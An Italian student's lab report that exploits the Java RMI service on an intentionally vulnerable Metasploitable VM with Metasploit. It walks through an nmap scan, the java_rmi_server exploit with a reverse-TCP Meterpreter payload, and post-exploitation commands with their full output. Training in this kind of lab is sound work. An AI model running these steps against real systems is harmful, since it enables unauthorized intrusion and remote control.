

Progetto Modulo M4 – Maria Ludovica Tartaglia

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell'esercizio sono: -La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111 -La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112 -Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete; 2) informazioni sulla tabella di routing della macchina vittima 3) altro...

Svolgimento:

Come indicatoci nella traccia, per prima cosa andiamo a cambiare gli indirizzi IP delle macchine virtuali:

```
GNU nano 2.0.7      File: /etc/network/interfaces      Modified

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1

^G Get Help  ^O WriteOut  ^R Read File  ^Y Prev Page  ^K Cut Text   ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^U Next Page  ^U UnCut Text ^T To Spell
```

```
kali@kali: ~
File Actions Edit View Help
GNU nano 7.2      /etc/network/interfaces *
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

A questo punto, iniziamo l'esercizio. Dopo aver controllato che le macchine siano regolarmente configurate e comunichino tra di loro attraverso l'ormai noto comando **ping**, come prima cosa andiamo ad effettuare una scansione della macchina Metasploitable su Kali, utilizzando il comando `sudo nmap -p- -sV 192.168.11.112 -T5`.

Questa scansione ci permette di vedere tutte le porte aperte sulla macchina attaccata, tra cui la 1099, che è la porta che ci viene indicata nella traccia per sfruttarne le vulnerabilità. L'utilizzo di **-T5** renderà la scansione più rapida.

```
(kali@kali)-[~]
$ sudo nmap -p- -sV 192.168.11.112 -T5
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-22 15:11 EST
Nmap scan report for 192.168.11.112
Host is up (0.0014s latency).
Not shown: 65508 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
35489/tcp open  status       1 (RPC #100024)
42941/tcp open  java-rmi     GNU Classpath grmiregistry
```

Attiviamo a questo punto Metasploit sulla macchina Kali con il comando **msfconsole**.

```
(kali㉿kali)-[~]
$ msfconsole

File System  Metasploit

< HONK >

HONK

Nessus-10...

= [ metasploit v6.3.27-dev ]
+ -- == [ 2335 exploits - 1220 auxiliary - 413 post ]
+ -- == [ 1382 payloads - 46 encoders - 11 nops ]
+ -- == [ 9 evasion ]

Metasploit tip: Search can apply complex filters such as
search cve:2009 type:exploit, see all the filters
```

Con il comando “**search Java rmi**” andiamo ad impostare su Metasploit la ricerca che ci interessa per sfruttare le vulnerabilità della porta 1099. Vedremo tutti i moduli sui quali sarà possibile utilizzare il tool.

```
msf6 > search Java rmi

Matching Modules
=====
#  Name
-  -
0  exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce 2019-05-22 excellent Yes Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RC
E
1  exploit/multi/misc/java_jmx_server 2013-05-22 excellent Yes Java JMX Server Insecure Configuration Java Code Execution
2  auxiliary/scanner/misc/java_jmx_server 2013-05-22 normal No Java JMX Server Insecure Endpoint Code Execution Scanner
3  auxiliary/gather/java_rmi_registry 1997-02-19 normal No Java RMI Registry Interfaces Enumeration
4  exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure Default Configuration Java Code Ex
ecution
5  auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server Insecure Endpoint Code Execution Scanner
6  exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Deserialization Privilege Escalation
7  exploit/multi/browser/java_signed_applet 1997-02-19 excellent No Java Signed Applet Social Engineering Code Execution
8  exploit/multi/http/jenkins_metaprogramming 2019-01-08 excellent Yes Jenkins ACL Bypass and Metaprogramming RCE
9  exploit/linux/misc/jenkins_java_deserialize 2015-11-18 excellent Yes Jenkins CLI RMI Java Deserialization Vulnerability
10 exploit/multi/browser/firefox_xpi_bootstrapped_addon 2007-06-27 excellent No Mozilla Firefox Bootstrapped Addon Social Engineering Code
Execution
11 exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315 2023-05-26 excellent Yes Openfire authentication bypass with RCE plugin
12 exploit/multi/http/totaljs_cms_widget_exec 2019-08-30 excellent Yes Total.js CMS 12 Widget JavaScript Code Injection
13 exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc 2021-09-21 manual Yes VMware vCenter vSclation Priv Esc

Interact with a module by name or index. For example info 13, use 13 or use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc
msf6 >
```

Con il comando “**use 4**” andiamo ad impostare la tipologia di exploit che vogliamo utilizzare specificando il path dell’exploit: **exploit/multi/misc/java_rmi_server**. Utilizziamo successivamente

il comando “**show options**” per impostare l’host della macchina target, inserendo l’indirizzo IP di Metasploitable.

```
Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ---      -
  HTTPDELAY  10                  yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099                yes       The target port (TCP)
  SRVHOST   0.0.0.0              yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080                yes       The local port to listen on.
  SSL       false               no        Negotiate SSL for incoming connections
  SSLCert   Path to a custom SSL certificate (default is randomly generated)
  URIPATH   The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > |
```

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/DV5CaGwpmSEi
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:35707) at 2024-02-22 15:48:52 -0500

meterpreter > |
```

Siamo pronti per effettuare l’attacco. Con il comando “**exploit**” lanciamo l’apertura della sessione di Meterpreter (che ricordiamo essere un payload di Metasploit).

Possiamo adesso, attraverso Meterpreter, lanciare vari comandi per ottenere varie informazioni sulla macchina target. Come richiesto dalla traccia, eseguiamo i comandi “**ifconfig**” e **route**” per vedere le configurazioni di rete della macchina attaccata e le sue informazioni di routing:

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feb4:1f0e
IPv6 Netmask : ::

meterpreter > |

IPv4 network routes

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0      0            eth0
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes

Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::          0            eth0
fe80::a00:27ff:feb4:1f0e ::           ::          0            eth0

meterpreter > |
```

Con il comando “**sysinfo**” andremo a vedere ulteriori informazioni sulla macchina exploitata:

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture  : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > █
```

Con il comando “**ps**” vediamo invece tutti i processi che sono attivi nel momento della richiesta sulla macchina Metasploitable:

```
meterpreter > ps
Process List
=====
```

PID	Name	User	Path
1	/sbin/init	root	/sbin/init
2	[kthreadd]	root	[kthreadd]
3	[migration/0]	root	[migration/0]
4	[ksoftirqd/0]	root	[ksoftirqd/0]
5	[watchdog/0]	root	[watchdog/0]
6	[events/0]	root	[events/0]
7	[khelper]	root	[khelper]
41	[kblockd/0]	root	[kblockd/0]
44	[kacpid]	root	[kacpid]
45	[kacpi_notify]	root	[kacpi_notify]
91	[kseriod]	root	[kseriod]
130	[pdflush]	root	[pdflush]
131	[pdflush]	root	[pdflush]
132	[kswapd0]	root	[kswapd0]
174	[aio/0]	root	[aio/0]
1130	[ksnapd]	root	[ksnapd]
1329	[ata/0]	root	[ata/0]
1335	[ata_aux]	root	[ata_aux]
1342	[ksuspend_usbd]	root	[ksuspend_usbd]
1350	[khubd]	root	[khubd]
2045	[scsi_eh_0]	root	[scsi_eh_0]
2195	[kjournald]	root	[kjournald]
2270	[scsi_eh_1]	root	[scsi_eh_1]
2271	[scsi_eh_2]	root	[scsi_eh_2]
2357	/sbin/udevd	root	/sbin/udevd --daemon
2628	[kpsmoused]	root	[kpsmoused]
3517	[kjournald]	root	[kjournald]
3646	/sbin/portmap	daemon	/sbin/portmap

Attivando il comando “**shell**” andiamo invece a creare una sessione per la quale possiamo operare come se fossimo letteralmente nella macchina. Per fare una prova, andiamo a creare una cartella con il comando “**mkdir**”. Mostreremo l’avvenuta creazione della cartella appena creata con il comando “**ls**”, che ci mostrerà tutte le cartelle presenti nel sistema (“Ciao Federico” 😊).

```
meterpreter > shell
Process 1 created.
Channel 1 created.
mkdir ciaofederico
```

```
meterpreter > ls
Listing: /
```

Mode	Size	Type	Last modified	Name
040666/rw-rw-rw-	4096	dir	2012-05-13 23:35:33 -0400	bin
040666/rw-rw-rw-	1024	dir	2012-05-13 23:36:28 -0400	boot
040666/rw-rw-rw-	4096	dir	2010-03-16 18:55:51 -0400	cdrom
040666/rw-rw-rw-	4096	dir	2024-02-22 16:15:18 -0500	ciaofederico
040666/rw-rw-rw-	4096	dir	2024-01-27 17:19:41 -0500	ciaometa

Utilizziamo qualche ulteriore comando: “**arp -a**” per visualizzare l’indirizzo IP proprio della macchina Kali, e il comando “**netstat -tulpd**” che ci restituirà le connessioni attualmente attive sulla macchina (tra cui la nostra shell creata):

```
arp -a
? (192.168.11.111) at 08:00:27:CB:7E:F5 [ether] on eth0
? (192.168.11.111) at 08:00:27:CB:7E:F5 [ether] on eth0
```

```
netstat -tulpd
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 *:exec                  *:*                     LISTEN      4396/xinetd
tcp        0      0 *:login                 *:*                     LISTEN      4396/xinetd
tcp        0      0 *:35489                  *:*                     LISTEN      3662/rpc.statd
tcp        0      0 *:shell                  *:*                     LISTEN      4396/xinetd
tcp        0      0 *:8009                   *:*                     LISTEN      4492/jsvc
tcp        0      0 *:6697                   *:*                     LISTEN      4541/unrealircd
tcp        0      0 *:mysql                  *:*                     LISTEN      4159/mysqld
tcp        0      0 *:rmiregistry            *:*                     LISTEN      4529/rmiregistry
tcp        0      0 *:ircd                   *:*                     LISTEN      4541/unrealircd
tcp        0      0 *:netbios-ssn            *:*                     LISTEN      4378/smbd
tcp        0      0 *:5900                   *:*                     LISTEN      4551/Xtightvnc
tcp        0      0 *:sunrpc                 *:*                     LISTEN      3646/portmap
tcp        0      0 *:x11                    *:*                     LISTEN      4551/Xtightvnc
tcp        0      0 *:www                    *:*                     LISTEN      4510/apache2
tcp        0      0 *:8787                   *:*                     LISTEN      4533/ruby
tcp        0      0 *:8180                   *:*                     LISTEN      4492/jsvc
tcp        0      0 *:ingreslock             *:*                     LISTEN      4396/xinetd
tcp        0      0 *:ftp                    *:*                     LISTEN      4396/xinetd
tcp        0      0 192.168.11.112:domain    *:*                     LISTEN      4019/named
tcp        0      0 localhost:domain         *:*                     ^C
```

